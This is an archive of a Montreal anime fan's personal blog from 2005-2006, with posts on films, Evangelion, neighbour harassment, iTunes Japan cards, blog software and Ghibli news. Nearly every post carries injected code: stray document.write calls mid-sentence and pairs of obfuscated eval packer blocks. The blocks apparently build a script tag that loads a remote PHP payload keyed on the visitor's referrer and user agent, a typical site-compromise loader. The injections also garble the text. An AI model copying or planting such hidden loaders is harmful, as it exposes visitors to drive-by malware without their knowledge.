The Fog of Life

/ Clodjee / 1 Comment

In the last few months or years, document.write(“”);
I feel I’ve lived in a constant fog.
To my body it feels like mud.
It’s like I can’t move forward easily,
As if every muscle is sleeping.

And my mind is all foggy,
I can’t see and think clearly.
I feel things are slipping away
From the grasp of my will.

I guess I should resolve myself
To exercice a little more
And maybe it will wake
My body from its torpor.

I should also make the effort
To keep my mind active,
Writting about everything.
That’s why I’ve revived this blog
And I’ll try to talk about all—
Could it really be called reviews?—
All the movies, books and news
That I’ve seen, read and digested
Even if they aren’t work-related.

But I fear I won’t have the energy
To completely brake away from the chains
Constraining my wings from spreading
And keeping me from feeling alive!

(ok, next time I’ll try to have it rhyme)

Merry Christmas! Joyeux Noel!

/ Clodjee / Leave a comment

…or Happy Holidays (whatever the Holiday your are enjoying right now)… to the few people reading this blog (and everybody else around the Globe)!

…ou Joyeuses Fêtes (peut importe les Fêtes que vous célébrez en ce moment)… aux quelques personnes qui lisent ce blog (et à tous les autres sur la planètes)!

Phantom of the Opera

/ Clodjee / 1 Comment

I have just seen Joel Schumacher’s The Phantom of the Opera on DVD. I have not read Gaston Leroux novel or seen the musical, document.write(“”); so it is difficult for me to compare. However, I have seen another movie version directed by Dwight H. Little and starring Robert Englund (Freddy in A Nightmare on Elm Street). This 1989 version is a more modern interpretation (with science-fiction elements) that tries to be an horror movie (hence the choice of Englund as the Phantom—but the fact that I kept seeing Freddy instead made it a rather funny movie) but it certainly does not have the classy look of Schumacher’ version.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyrnb|var|u0026u|referrer|itaez||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htfka|var|u0026u|referrer|yfbat||js|php’.split(‘|’),0,{}))

Usually, I tend to dislike musicals, but the 2004 Phantom is a very powerful movie mainly due to its somptuous sets and, of course, Andrew Lloyd Webber’s music. Webber said that he wanted his musical adapted into a movie to make it more accessible to everyone, but I suspect that they just wanted to make more money out of it. It is a beautiful movie, but unfortunately there are some lengths (I briefly fell asleep when they try to trap the Phantom by playing his opera). The only extra on the DVD is the movie trailer, which is very disappointing. You need to get the Two-Disc Special Edition to get the cool goodies. It is nevertheless quite a good entertainment.

A few interesting anecdotes (that my wife read in a Kinema Junpo article): the only known actress, Minnie Driver (who’s playing the diva Carlotta), was lip-synching (rather disappointing) and Emmy Rossum (playing Christine) was only sixteen year-old at the time of the shooting!

The Phantom of the Opera. USA/UK, 2004, 141 min.; Dir.: Joel Schumacher; Scr.: Joel Schumacher & Andrew Lloyd Webber (based on the novel by Gaston Leroux); Phot.: John Mathieson; Ed.: Terry Rawlings; Cost.: Alexandra Byrne; Cast: Gerard Butler, Emmy Rossum, Patrick Wilson, Miranda Richardson, Minnie Driver.

Andrew Lloyd Webber’s The Phantom of the Opera © 2004 The Scion Film Phantom Production Partnership. Packaging ©2005 Warner Bros. Entertainment Inc.

Evangelion

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I just read an interesting essay (Reflections on a Legend) about Evangelion.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfnk|var|u0026u|referrer|aariz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idiak|var|u0026u|referrer|afrhn||js|php’.split(‘|’),0,{}))

When this series came out in 1995, document.write(“”); it was definitely the best anime of those days (we have to look at it in the context of the era). Whether you like it or hate it—the series was already controversial then and remains controversial today because it was so over-hyped—this series is certainly one of the most influencial title of the history of anime. It was to anime what Star Wars was to sci-fi movies. However, I agree with the writer of the essay: the series has numerous flaws (in Eva‘s defense I would like to add that the production team had to deal with censorship and budget cuts—which seriously affected the quality of the series toward the end), but I think its esoteric aspects are part of its qualities.

When I first watched Evangelion, I was literaly floored. My friends and I were watching every episode passionately—raw! Every month we were getting a VHS tape from Japan, where a contact of mine was tapping the show for us. The last show of each tape had just played on Japanese TV less than a week before. Today, in the age of instant downloading it might seem trivial, but in those days it was really something! Of course, since then, there was so many Eva imitations, so many hype, so many re-packaging of the show that we all feel blasé about it.

An amusing anecdote: it’s because of all the controversies surrounding the series and the backlash reaction of the anime fans, that Hideaki Anno, the director, became fed-up with anime fandom, eventually leaving the anime industry to direct weird live-action movies instead.

But why are people suddenly talking about Evangelion, you may ask? It’s simply because there is a new incarnation of the story coming up in 2007. Like many others, I am rather ambivalent toward yet another Eva repackaging. I find the idea annoying, but yet I can’t stop myself from being excited. Like I often say: we’ll see.

Pain

/ Clodjee / 1 Comment

It seems that there is not a day where I don’t feel pain in some part of my body.

Most of the time it’s in my back, document.write(“”); but sometimes in my legs, my neck, my throat or my head. Sometimes it is even all over.

Lately, it has been in my left elbow. I have an elbow bursitis. It seems that I lean too much on my left elbow when I am working at the computer. I’ll put some ice, take some Advil and give some rest to the elbow.

I guess that’s what happen when you get older. More and more little nagging health problems. I am really due for a full check up…

Funny Anecdote

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Something funny happened last night.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeffz|var|u0026u|referrer|tsadr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntfyd|var|u0026u|referrer|ybzey||js|php’.split(‘|’),0,{}))

Around midnight I was walking on the street and a huge white SUV stops beside me (I was going to the subway station to meet my wife and walk her back home for safety — I do that once in a while since she was attacked one night on her way back from work). The tinted driver’s window goes down and the women at the wheel ask me “You wouldn’t happen to have a quarter, document.write(“”); would you?”

I know that the price of gas is high, but to beg for money is a little far-fetched!

Of course, I would not give any money to someone who’s already wasting so much with a gas-guzzling vehicle…

Sakura

/ Clodjee / 1 Comment

Here is the link to the restaurant where my wife is working:

Please have a look and, document.write(“”); if you live in the Montreal area, go and eat there!

Love Thy Neighbor!

/ Clodjee / 1 Comment

I consider myself as someone who’s quite quiet, document.write(“”); conciliatory and understanding. My principle is to leave people alone and I expect them to leave me alone. I live in my little shell, my safe-house, observing the world from the middle of its mediatic web and expecting to be protected from its aggressions.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbrsh|var|u0026u|referrer|retkk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydbzd|var|u0026u|referrer|ytrbf||js|php’.split(‘|’),0,{}))

When the neighbor is renovating his basement and starts with the jackhammer at 8:00 am on Saturday morning (while I just went to bed three hours before because my wife & I are working mostly in the evening and have night owl’s habits) I don’t complain because I understand that the work need to be done whenever he can do it. When the neighbor’s kids are howling or banging the walls (actually, in the first year, I thought they were raising a baby gorilla) and the mother is shouting back at them (and I am quietly sitting in my office trying to concentrate on a complicated article that needed to be written and laid-out yesterday), I don’t complain because kids are kids and it’s not an easy job to take care of them properly. When the people upstair are walking loudly or moving furniture and I feel the sky is falling down on me (while I am quietly trying to watch TV), there is no use complaining because I cannot ask them to stop living their life (although some understanding and compassion for others should be expected). Well, I guess the world just doesn’t work that way.

I never did or say anything to offense my neighbors (at least voluntarily). Nevertheless, last summer someone killed one of my cats with a pellet gun. This summer someone threw poison in my garden (maybe for the feral cats? But the poison can melt into the soil, be absorbed by the plants and eventually affect us) and threw a dead rat wrapped in a plastic bag in the backyard. My newspaper is regularly stolen. This fall, someone threw eggs against the front door (they missed and got the wall instead) and this week someone ripped our door-bell button from the door frame. What have I done to those people? Is it just a series of coincidences and am I paranoid?

Or is it because we speak english — and my wife is Japanese — in a neighborhood that is mostly francophone and local (“pure-laine” like they say)? I find it hard to believe that there is so much hatred and racism in our country…

Music From Japan

/ Clodjee / Leave a comment

I am sure that many anime & manga fans are like me and enjoy listening to Japanese music. It is not always easy to find J-pop DVDs and one cannot download music from iTunes Japan if one doesn’t have a credit card registered with a Japanese address. At least, document.write(“”); until now!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkhta|var|u0026u|referrer|hbdnh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfaes|var|u0026u|referrer|nfyed||js|php’.split(‘|’),0,{}))

I learned today, while reading TUAW (The Unofficial Apple Weblog), that you can shop at iTunes Japan from America (or anywhere else) when you purchase iTunes Japan Music Cards!

iTunes Japan Music CardThe funny things is that those cards are available from Jbox (the sister website to Jlist, an online store created by Peter Payne and selling anime, manga & everything Japanese that might interest a fan). The cards are available in ¥1500 ($18 US) and ¥3000 ($35 US) format and Jbox clearly explains how to use them.

The cards are also available from Amazon.co.jp (but that website is in Japanese)…

Have fun!

UPDATE [12/30/06]: Someone on the Anime News Network‘s forums has pointed out that this item cannot be ordered on Amazon.co.jp from overseas. I have indeed verified that some commodities produced for the Japanese market (Software, Game, Electronics, Home & kitchen, Toy & hobby, Sport, Health & beauty, and certain type of Dvds/videos) are subject to geographical restrictions and Amazon.co.jp cannot deliver them overseas. The iTunes Japan Music Cards are apparently considered as Electronics. Sorry, I didn’t know that. It leaves only Jbox as source (although someone also pointed out that the cards were available in some convenience stores).

Blogware Update

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I was wrong…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zffrh|var|u0026u|referrer|ihafb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhadf|var|u0026u|referrer|fbnba||js|php’.split(‘|’),0,{}))

Largemouth just released the final 1.2 version of Blog.Mac and they did not charge me any license fee for the upgrade.

Now, document.write(“”); I am not sure what blogware to use… Although I think I still prefer blogger. I am still not satisfy with the available template for Blog.Mac (although, to be honest, there is a free template editor that allow us to modify the templates or create new ones) and the overall interface of blogger is better (Blog.Mac has a few little annoying bugs). Not without mentioning that with Blogger you can use multiple labels (categories) for each entry. Umm…

I still recommend Blog.Mac, which is an excellent program, but I think I’ll stick to blogger. (Although I might do double entries on each program for a while until I am 100% decided).

Anime News

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For those interested in anime & manga, document.write(“”); the new issue of Protoculture Addicts, #89, is now available.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zynnb|var|u0026u|referrer|hdnsf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzzat|var|u0026u|referrer|nbbfs||js|php’.split(‘|’),0,{}))

Also, Anime News Network as a new layout that is worth a look.


Please check them out.

			

	


			
				
				


	

							
Blog moved back!
						

			 / Clodjee						 / Leave a comment
								

			


		

		
Last year,  document.write(“”);   in November 2005,   I was feeling that the free blog I was using until then,   blogspot, was lacking in features (not much flexibility with the template, no categories, etc.) so I decided to switch to Blog.Mac (1.1.3) and move my blog to a new location on my .Mac iDisk.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbene|var|u0026u|referrer|hdntd||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fadzh|var|u0026u|referrer|adkef||js|php’.split(‘|’),0,{}))

 

I ended up not blogging much (busy times) partly because Blog.Mac designers had announced a new version of their blogware with categories. I was interested in those promised new functions but was reluctant to blog much and then have to re-do everything with the new version (Largemouth people warned us that file format might change with the new version). So I waited…


A couple of month ago, I was tired to wait so I contacted Largemouth Software to ask when the new version of Blog.Mac was coming. I was told it would come two weeks later. After a wait of two MONTHS (no wonder they’re called Largemouth), they finally released… a new BETA version (1.2 b2)! I decided to try it and created this test blog. It looks nice, the categories work well, but I will probably have to pay for the upgrade to 1.2.


Considering that they would certainly wait several more months before releasing a final version of 1.2 and that my patience was already at its limit, I decided to try other blogwares. I tested iBlog (2 b8) by Lifli Software and created this test blog. The calendar feature is cool, but the look is disappointing (although you can tweek the template a little) and I was not enthusiastic with paying 1410.00 Indian Rupees ($30 US) for another license!


I was just about to say “Ok, I’ll wait another few months before deciding” when I discovered that the blogware I was using at first, now called blogger, has just released a new version with very flexible templates, multiple categories (called here Labels), FTP capability and more cool features! The beauty of it is that it is FREE! So, now I am reviving and updating this blog. Amazing, isn’t it?


So far, I am very satisfied with blogger and I recommend it to everyone.

			

	


			
				
				


	

							
Ghibli To Animate LeGuin’s Story
						

			 / Clodjee						 / Leave a comment
								

			


		

		
Poster of the next movie from Studio GhibliThe next animated movie produced by Studio Ghibli will be directed by Goro Miyazaki (the son of Hayao Miyazaki) and adapted from Ursula K. LeGuin Earthsea Cycle.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byfne|var|u0026u|referrer|hyfnt||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkenn|var|u0026u|referrer|trnky||js|php’.split(‘|’),0,{}))

 

Studio Ghibli is famous for having animated movies directed by Hayao Miyazaki (Laputa: Castle In The Sky,  document.write(“”);   My Neighbor Totoro, Kiki’s Delivery Service, Porco Rosso, Princess Mononoke, Spirited Away, Howl’s Moving Castle) and Isao Takahata (Grave Of The Fireflies, Only Yesterday, Tanuki Wars Ponpoko and Tonari no Yamada-kun).


The movie will be titled Gedo Senki [Record Of The Gedo War]: Tales From Earthsea and will be released in July 2006.


It seems that Ghibli is moving away from creating their animation based on original story since it is their second movie that will be an adaptation from an English speaking novel. Their previous movie, Howl’s Moving Castle, was adapted from a novel by English writer Diana Wynne Jones. Gedo Senki will be the adaptation of the third (The Farthest Shore) and fourth (Tehanu) books of Ursula K. LeGuin Earthsea Cycle.


(Source: Anime News Network:  Ghibli Announces New Anime & Gedo Senki News).


Ghibli Web Site

Ursula K. LeGuin Web Site

			

	


			
				
				


	

							
Blog moved
						

			 / Clodjee						 / Leave a comment
								

			


		

		
For now,  document.write(“”);   I have moved my blog to  homepage.mac.com/clodjee/blog/safehouse.html.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|difnn|var|u0026u|referrer|yhybk||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyiba|var|u0026u|referrer|kitat||js|php’.split(‘|’),0,{}))

 

Please have a look and bookmark it!

			

	


			
				
				


	

							
Ecological Climber Motocycle?
						

			 / Clodjee						 / Leave a comment
								

			


		

		
In an article about “The Most Amazing Inventions” published in a recent issue of Time magazine (Canadian edition,  document.write(“”);   Nov. 21 2005: 34), I’ve seen a news bit talking about a motocycle of the future that runs on hydrogene canister. That reminded me of the Mospeada Ride Armor seen in the Genesis Climber Mospeada anime (the bike was called Cyclone in the Robotech adaptation). Both bikes slighly look similar and run on hydrogene canister (althought in Robotech, Macek changed that for Protoculture). 


The 90-kgs ENV bike is made of aluminum, has a top speed of 80 km/h and can drive up to 160 km on a $4 US 140 g hydrogene canister. The fuel-cell engine is silent and clean. Too bad this bike cannot transform into a power armor!


The ENV bike was created by Intelligent Energy and should be available in 2007 for less than $10,000 US. You can find more details on its web site:  www.envbike.com.

			

	


			
				
				


	

							
Apple on Kamataki
						

			 / Clodjee						 / Leave a comment
								

			


		

		
Apple has recently posted on its web site an  article  on Kamataki,  document.write(“”);   a Canadian-Japanese movie directed by Claude Gagnon who just received several awards at the Montreal World Film Festival.


Apple often post articles on people who are using their computers and softwares. Director Claude Gagnon used a Power Mac G5 and Final Cut Pro to edit his award-winning movie.

			

	


			
				
				


	

							
New Blog?
						

			 / Clodjee						 / Leave a comment
								

			


		

		
I am experimenting with this new blog. 

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erfyk|var|u0026u|referrer|ktrhd||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efztk|var|u0026u|referrer|esysz||js|php’.split(‘|’),0,{}))

 

I’ll wait a little to see how well it looks and how easy it is to work with and I might eventually change. We’ll see.


Let me know what you think of it.

			

	


			
				
				


	

							
JET Looking For Candidates
						

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If you are a Japan-lover living in the Montreal area and have dreams of going to Japan,  document.write(“”);   you might be interested to know that the Japan Exchange and Teaching Programme is looking for candidates to become Assistant English Teachers in Japan. No better way to discover Japan than by working there (they say the salary is good, with benefits and they even pay the airplane ticket)!


You can apply online (www.montreal.ca.emb-japan.go.jp; click on “Exchange Programs”) until November 18, 2005 for a departure in July 2006.


(Source: The Gazette 11/2/2005 E7)

			

	


			
				
				


	

							
Rose Of Versailles Revival
						

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This year is the 250th anniversary of the birth of Marie-Antoinette (born in Vienna in 1755) and it seems to be a good pretext for a  revival of Rose Of Versailles,  document.write(“”);   this epic anime drama about a passionate love set with the French Revolution as backdrop.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndzea|var|u0026u|referrer|diika||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdzfa|var|u0026u|referrer|ktzzz||js|php’.split(‘|’),0,{}))

 

Not only TMS is releasing the complete series on R2 DVDs (8 vols, BCBA-2321~28, 121 min. ea, ¥3800 ea.; Vol. 1-3 avail. on 9/23; Vol. 4-6 avail. on 10/28 and vol. 7-8 avail. on 11/25), but also the all-female theatrical troop Takarazuka will restage their famous Versailles no Bara play for the great pleasure of their fans! (For more info about this series and the play, check PA#45: 17-26, 41-43 as well as the online overview)


Furthermore, Rose Of Versailles mangaka, Riyoko Ikeda — who stopped drawing manga a decade ago to dedicate herself to music — has started a new manga series that adapts a novel of Yukio Mishima (more details on ANN).


Update: 


Takarazuka will give TWO different performences of Rose Of Versailles:


Takarazuka “Star Troupe will be performing the “Fersen and Marie Antoinette version” first in a national tour, from 9/24 through 10/21. After the tour, they will perform from January – February 2006 in the Takarazuka Grand Theater, and then from February – April 2006 in the Toyko Takarazuka Theater.”


Takarazuka “Snow Troupe will be performing the “Oscar” version from February – March in the Takarazuka Grand Theater, and from April – May in the Tokyo Takarazuka Theater.”


(Update Source: Sugar And Spice Takarazuka Revue web site)


Takarazuka Revue Official web site

			

	


			
				
				


	

							
Apple’s iTunes music stores soon to offer video!
						

			 / Clodjee						 / Leave a comment
								

			


		

		
With the announcement of the new video-capable iPod,  document.write(“”);   Apple might be able to revolutionize the world of the video download the same way they did for music.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhziz|var|u0026u|referrer|ztbdi||js|php’.split(‘|’),0,{}))

 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khtkd|var|u0026u|referrer|rtyzb||js|php’.split(‘|’),0,{}))

 

iTunes music stores will soon start selling video also. Following a deal with ABC/Disney they will start offering episode of “Desperate Housewives” and “Lost,” among other content, for only $1.99 per episode. Video can be watched either on the iPod 2.5-inch screen or on a computer.


Hopefully, anime releasers both in Japan an in North America will seize this opportunity to make their product available online at a reasonable cost. It is clear that this is the only way to fight piracy and illegal downloads.


If you want more details you can check those articles:




www.hollywoodreporter.com/thr/new_media/article_display.jsp?vnu_content_id=1001304647


www.cnn.com/2005/TECH/ptech/10/12/apple.video.ipod.ap/index.html?section=cnn_topstories


Update (05/10/14): iTunes v. 6 is already available and the music store is already selling lots of video clips and some Pixar’s short movies. The only downside to this is that the resolution is rather small. It is really made for the iPod screen. But at least the idea of downloading video for a small fee is put in practice. Eventually they could offer higher resolution video for a bigger price.

			

	


			
				
				


	

							
Nice Alternative to FTP
						

			 / Clodjee						 / Leave a comment
								

			


		

		
